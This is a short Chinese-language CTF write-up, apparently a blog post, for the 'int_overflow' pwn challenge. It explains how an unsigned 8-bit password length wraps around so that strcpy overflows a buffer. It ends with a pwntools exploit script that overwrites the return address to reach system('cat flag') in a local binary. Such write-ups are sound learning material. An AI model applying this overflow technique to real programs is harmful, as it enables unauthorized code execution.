09_int_overflow

1.检查安全机制

图片.png
:运行一下,我们知道这是一个创建用户名和密码的程序,对用户名的长度和密码都有限制。
我们ctrl+1 找到了system("cat flag") 不知道怎么使用

2.找到溢出点


注:
strcpy:危险函数
unsigned __int8最大只能到达255 可是我们read(。。。)远超过255。
数据类型范围https://docs.microsoft.com/zh-cn/previous-versions/s3f49ktz(v=vs.120)

利用思路:有点不理解整数溢出

1.发现v38位无符号整数,则最大只能是255
但是read函数能读取的长度是0x199,远大于255,那就可以进行整型溢出,让passwd的长度是 260264就可以了。
2.我们将程序的返回地址覆盖为system("cat flag")
注:帮助理解

EXP
from pwn import*

p = process('./int_overflow')

system_flag_addr = 0x804868B

p.recvuntil('choice:')
p.sendline("1")
p.recvuntil('username:\n')
p.sendline("tutu")
p.recvuntil('passwd:\n')

payload = 'A'*0x18 + p32(system_flag_addr)
payload = payload.ljust(262,'A')    //这有点不理解



p.sendline(payload)
p.interactive()

图片.png
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容